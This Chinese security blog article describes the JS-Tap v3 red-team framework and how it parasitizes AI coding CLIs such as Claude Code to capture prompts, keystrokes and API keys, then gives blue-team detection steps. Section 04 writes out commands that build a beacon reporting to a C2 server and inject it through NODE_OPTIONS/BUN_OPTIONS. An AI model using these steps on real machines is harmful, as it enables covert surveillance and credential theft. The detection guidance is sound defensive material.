红队最新的趁手工具,蓝队最好也认识一下"

admin 2026-10-16 11:28:16 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

红队最新的趁手工具,蓝队最好也认识一下

原创

大白
大白

知白守黑1024

2026年9月22日 06:39
北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

很多红队拿到一台机器后,干的最顺手的不是马上提权,而是先看看这台机器上跑着什么 AI 编程工具——Claude Code、Gemini CLI。这些工具替开发者握着 API key、GitHub token 和整棵代码树的读写权限,还长在终端里,天天开着。

这次要聊的 JS-Tap,v3 主打的就是寄生这类 AI 命令行工具。它不碰 Claude Code 的源码,也不改进程——一个 JS 文件,一个环境变量,等工具下次启动,攻击者那边就能实时看到你发给模型的每一句提问、模型回你的每一段代码。

上一篇观测站讲了 Strix,是让 AI 替红队去打;这一篇反个方向,看攻击者怎么顺着 AI 工具摸进你的机器。红队的技术细节在中三节,只想知道怎么查自己机器有没有中招,直接翻到第 05 节。

本篇路线

01三年,从一个 XSS 载荷到五路信标

02JavaScript 逃出了浏览器

03最狠的一刀:寄生 AI CLI

04十五分钟搭一套(仅限授权环境)

05蓝队视角:三条自查线

01|三年,从一个 XSS 载荷到五路信标

JS-Tap 由 TrustedSec 的安全研究员 Drew Kirkpatrick(GitHub ID:hoodoer)开发,2023 年 1 月建仓。最初它只是一个通用的 XSS 载荷:一个不依赖目标应用先验知识、也不需要受害者登录态的 JavaScript 文件,注入网页之后开始收集凭据、截图和网络流量。

JS-Tap 官方 Logo

三年时间,它从单打独斗的网页载荷,长成了一套统一 C2 架构:v2 引入任务下发与后渗透能力,v3 直接跳出浏览器,把战场搬到了终端。2026 年 6 月 v3 发布,项目随后登上 Black Hat USA 2026 的 Arsenal 展区。

JS-Tap 三个版本的进化路径

说句实话,477 个 Star 在开源 C2 圈子里算不上顶流,Sliver、Havoc 这些前辈的生态成熟得多。但这个项目值得写的原因不在数字:它对「JavaScript 正在逃出浏览器」这个攻击面的判断,比大多数同类工具早了不止一步——而 AI 编程工具的普及,正在把这个判断变成现实。

02|JavaScript 逃出了浏览器

作者在 v3 发布博文里说了一句很实在的话:JavaScript 早已不只活在网页里。浏览器扩展是 JavaScript;Slack、Signal、VS Code 这些 Electron 桌面应用是 JavaScript;新一代 AI 命令行工具——Claude Code、Gemini CLI——还是 JavaScript。

问题在于,这些新环境跑 JavaScript 的沙箱比浏览器弱得多。网页里的 JS 头上还压着同源策略和浏览器沙箱两道枷锁;而 Electron 主进程和 Node、Bun 命令行里跑的 JS,可以直接读写文件系统、执行系统命令,中间没有任何隔离层。

四类 JS 运行环境的沙箱与权限对比

JS-Tap v3 的五种信标,就是沿着这条沙箱递减的路径一层层打下去的:

信标 它是什么 / 怎么进去
DOM Beacon 网页载荷:键盘输入、截图、XHR 与 Fetch 流量、表单提交。经 XSS 注入,或拿到服务器后写进应用的 JS 文件。
BEX Beacon 浏览器扩展:全站 Cookie(含 httpOnly)、存储、请求头。靠诱导安装、物理接触或企业策略推送落地。
Sidecar Go 原生二进制:文件浏览、读取、命令执行。随 BEX 经浏览器 native messaging 通道装入。
Atom Beacon Electron 双层植入:主进程拿 OS 权限,渲染层自动注入所有窗口。用 atomize.py 改写目标应用的 ASAR 包。
V8 Beacon Node/Bun 命令行智能体:流量截获(含 SSE 流)、键盘记录、文件与 Shell。只需一个环境变量。

BEX 是浏览器扩展形态。相比只能困在单个页面里的 DOM 载荷,它坐在浏览器层面看得到所有标签页:全站 Cookie(包括 DOM 载荷永远拿不到的httpOnly)、localStorage、请求头。它还能当投放器,从控制台远程往指定域名注入完整的 DOM 载荷,截图质量也随之升级为扩展的 captureVisibleTab 像素级捕获。

BEX 信标捕获 httpOnly 会话 Cookie

Sidecar 是唯一的原生二进制,一个 Go 程序,通过 native messaging 与 BEX 通信,补上文件浏览和命令执行。作者自己也承认这是 OPSEC 上最差的选项——要在磁盘注册原生宿主、留一个独立二进制,Atom 和 V8 用干净得多的方式拿到了同样的权限。它的价值在于:当浏览器扩展就是你的全部落脚点时,这是唯一能摸到 OS 的路。

03|最狠的一刀:寄生 AI CLI

V8 Beacon 是 v3 里最有想象力的一路,投放方式简单到夸张:往磁盘上丢一个 js 文件,设一个环境变量,结束。

原理不难:Node.js 和 Bun 都提供了「在应用代码之前预加载脚本」的官方开关。Node 走NODE\_OPTIONS=\"--require\",Bun 走BUN\_OPTIONS=\"--preload\"。Claude Code 是 Bun 应用,Gemini CLI 是 Node 应用,都在射程内。信标在应用启动前加载,应用本身一行代码都不会被改动。

加载之后,它会 monkey-patch 掉 http.request、https.request、fetch 和 http2.connect 四个网络入口,所有出站流量连请求带响应全部截获——包括 Anthropic 和 Gemini API 的 SSE 流式响应,gzip 响应自动解压。换句话说,你发给模型的每一段上下文、模型吐出来的每一段回答,攻击者都看得一清二楚。

网络之外,它 hook 住 process.stdin 的多个层面做键盘记录,每 2 秒批量回传;文件浏览、文件读取、shell 执行全部内建;启动时的环境变量快照里,往往就躺着 API key。

V8 信标寄生 Claude Code 后的操作面板

对 CLI 工具的进程模型,它也处理得很细:Gemini CLI 会把自己 spawn 成子进程跑交互会话,子进程自动继承父进程的会话密钥,在控制台上仍是一个客户端;反过来,Bun 应用拉起的 Node 工具子进程会被运行时过滤掉,不会冒出幽灵客户端。这些边角处理,是它「能用」和「好用」的差别。

Atom Beacon 走桌面应用这条路。用随包的 atomize.py 改写目标 Electron 应用的 ASAR 包(或未打包的应用目录),下次启动时主进程里就住进了一个 Node 全权限智能体,还会自动往每一个新建窗口注入渲染层载荷——键盘、表单、Cookie、网络请求,全都汇到同一个控制台。如果应用设了 Electron 安全 fuse,改包工具会顺手重置掉。

Atom 信标植入 VS Code 后的控制台视图

v3 还给 Atom 和 V8 配了运行时可加载的插件系统,官方直接内置五个:VS Code Infiltrator 借编辑器环境复制、篡改文件,「借用」GitHub token 访问私有仓库;1Password Vault Raider 从运行中已解锁的实例里捞保险库的明文副本;Signal Interceptor 能读取、发送乃至伪造这个号称端到端加密的应用里的消息;Mattermost Masher 和 Slack Wrecker 是同款思路的移植。

VS Code Infiltrator 插件借 GitHub token 访问私有仓库

Signal 插件的消息读取与伪造界面

两个会话工具把后渗透闭环补齐了。Browser Proxy 让操作员的流量从受害者的浏览器、Electron 应用或 Node 进程里出去——目标网站看到的是受害者的 IP 和 TLS 指纹;Conductor 是一个 Firefox 扩展,贴入控制台生成的会话票据,就能在本地完整克隆受害者的登录态,Cookie、请求头、User-Agent 一次配齐。

JS-Tap Conductor 的会话与代理票据

需要说清楚的是:这套东西的前提,是攻击者已经能在你的机器上落文件、改环境变量。它不是漏洞利用,而是拿到落脚点之后的放大器。但 v3 真正的变化在于把放大成本压到了一个 js 文件加一个环境变量——而 AI 编程工具,让每个开发者都成了高价值目标。

04|十五分钟搭一套(仅限授权环境)

JS-Tap 是红队攻击工具,仅可用于获得书面授权的测试环境与教学场景,未经授权对他人系统使用属违法行为。以下操作全部在自有测试机上完成。

服务端是一个 Flask 应用,依赖不少,官方强烈建议用虚拟环境隔离。四步起服务:

服务端安装与启动

1. 建虚拟环境并克隆(需要 Python3)

mkdir jsTapEnvironment && cd jsTapEnvironment

python3 -m venv venv && source venv/bin/activate

git clone https://github.com/hoodoer/JS-Tap

cd JS-Tap && pip3 install -r requirements.txt

2. 自签一张证书(服务端走 HTTPS)

openssl req -x509 -newkey rsa:4096 -keyout key.pem \

-out cert.pem -sha256 -days 365 -nodes

3. 启动(开发调试模式)

python3 jsTapServer.py

生产环境用 gunicorn 多线程:

./jstapRun.sh

启动后服务端在 8444 端口起 HTTPS,每次启动会随机生成管理员密码,打印在控制台上,同时写入项目根目录的 adminCreds.txt。浏览器打开 https://服务器IP:8444 登录,就是控制台。

生成一个 V8 信标,一条命令:

生成 V8 信标

cd v8-beacon

python3 v8ize.py --server https://10.0.0.1:8444 --tag claude

产出:当前目录下的 v8-beacon.js,零依赖

然后在「受害者」测试机上模拟投放:

注入测试机(Node 与 Bun 两种运行时)

Node 系工具(如 Gemini CLI)

export NODE\_OPTIONS=\"--require /tmp/v8-beacon.js\"

gemini

Bun 系工具(如 Claude Code)

export BUN\_OPTIONS=\"--preload /tmp/v8-beacon.js\"

claude

启动 Claude Code,控制台的 Nodes 视图里客户端就亮了。点开是四个标签页:网络截获(完整的请求、响应与 SSE 流)、键盘记录、文件浏览器、shell。所有通信走 AES-GCM 加密信道,配 RSA-OAEP 密钥交换。

BEX 的构建也是一条命令:python3 buildAll.py,产物是 Chrome 和 Firefox 全平台的自包含部署包。Linux 上对 Chrome 走企业策略静默强装——用户不需要点任何东西,下次启动扩展就位,代价是浏览器菜单里多出一个「由组织管理」的标识。

升级提醒:版本号变更常伴随数据库结构调整,官方不提供迁移脚本。升级前删除 jsTap.db 即可,但如果控制台里存了自定义载荷,记得先导出。

05|蓝队视角:三条自查线

这个工具最麻烦的地方恰恰是「一切正常」:Claude Code 照常工作,没有异常进程,没有可疑弹窗。所以检测要往它必然经过的三个地方去。

第一条线,环境变量。这是 V8 信标唯一的投放痕迹,一条命令自查:

自查一:环境变量(人人可做)

Linux / macOS

echo $NODE\_OPTIONS $BUN\_OPTIONS

Windows

echo %NODE\_OPTIONS% %BUN\_OPTIONS%

输出为空,是干净的;出现 --require 或 --preload 指向陌生 js 文件,立刻查这个文件的来源和修改时间。

第二条线,磁盘。项目自带了一套检测规则,覆盖植入载荷、扩展脚本、原生宿主清单等八类特征:

自查二:YARA 扫描(安全团队)

扫描 Chrome 扩展目录(Linux)

yara -r detections/jstap.yar \

~/.config/google-chrome/Default/Extensions/

Firefox

yara -r detections/jstap.yar ~/.mozilla/firefox/\*/extensions/

第三条线,网络。官方提供 Suricata 和 Snort 两种格式的规则,核心特征是客户端注册与密钥交换两个端点:

自查三:Suricata 网络规则

cp detections/jstap\_network.rules /etc/suricata/rules/

在 suricata.yaml 的 rule-files 中加入:

- jstap\_network.rules

suricata -T -c /etc/suricata/suricata.yaml

命中特征:/client/getToken 与 /client/keyExchange/

有个诚实的细节值得说明:如果操作端开启了流量混淆,/loot/\* 一类明文外传路径会在流量里消失——但密钥交换和注册端点仍然可见,这是加密信道绕不开的握手。

企业加固层面:NODE\_OPTIONS 本质是一个官方预留的运行时开关,可以用环境变量白名单或启动器封装锁死;Electron 应用侧可以校验 ASAR 包完整性;浏览器扩展目录纳入定期扫描。别指望单点检测兜底,三条线一起上。

最后说一句:把武器和对应的检测规则放进同一个仓库,这个姿势在同类项目里不多见。红队用它做演练,蓝队拿它当对抗样本——同一份代码,两边都能用。

结 语

说到底,JS-Tap 赢在「趁手」二字。

它没有绕过什么百年老漏洞,只是把沙箱递减这条再也藏不住的路,沿着走了一遍。

而 AI 编程工具,把这条路的入口送到了每个人桌上。


红队最新的趁手工具,蓝队最好也认识一下" 网络安全文章

红队最新的趁手工具,蓝队最好也认识一下"

本文介绍红队工具JS-Tapv3,其可寄生AI命令行工具(如ClaudeCode、GeminiCLI),通过环境变量注入JS文件截获流量、键盘记录及文件操作。文章详述五种信标类型及部署方法,并提供蓝队三条自查线:环境变量检查、YARA扫描及网络规则检测。工具需授权使用,企业可采取白名单、完整性校验等加固措施。
俄乌冲突经验与教训(下):后勤保障、武器装备综合变革" 网络安全文章

俄乌冲突经验与教训(下):后勤保障、武器装备综合变革"

本文总结俄乌冲突中现代高强度常规战争经验教训,指出无人机与精确制导武器重塑战场规则,后勤转向极度分散高机动模式并大量引入无人平台前送物资;军事医疗因失去国际法保护被迫隐蔽作业并面临超级细菌危机;武器装备方面无人机成绝对主宰,传统装甲兵角色降级,滑翔炸弹与高超音速导弹主导纵深打击;战略由快速突击转向系统性消耗战,步兵采用微型战术群突击;各国正将前线教训转化为强调无人机攻防与小群组生存的实战化训练改革。
【分析报告】美军无人机系统实战化训练路径与效能评估" 网络安全文章

【分析报告】美军无人机系统实战化训练路径与效能评估"

该报告系统分析美军无人机实战化训练路径与效能评估,梳理训练理念向分布式联合全域作战转型历程,解构强电磁对抗、受损PNT环境适应及无人集群韧性修复等典型训练路径,构建涵盖基础平台、体系协同与环境适应三维度的效能评估模型,通过西太平洋高烈度海空冲突场景演算验证AI驱动目标生成与杀伤链闭环效能边界,暴露极端拒止环境下底层盲区,并提出电磁网络降维压制与无人集群杀伤链物理阻断等针对性反制策略,为我军无人作战能力生成提供数据支撑与理论参照。
评论:0   参与:  0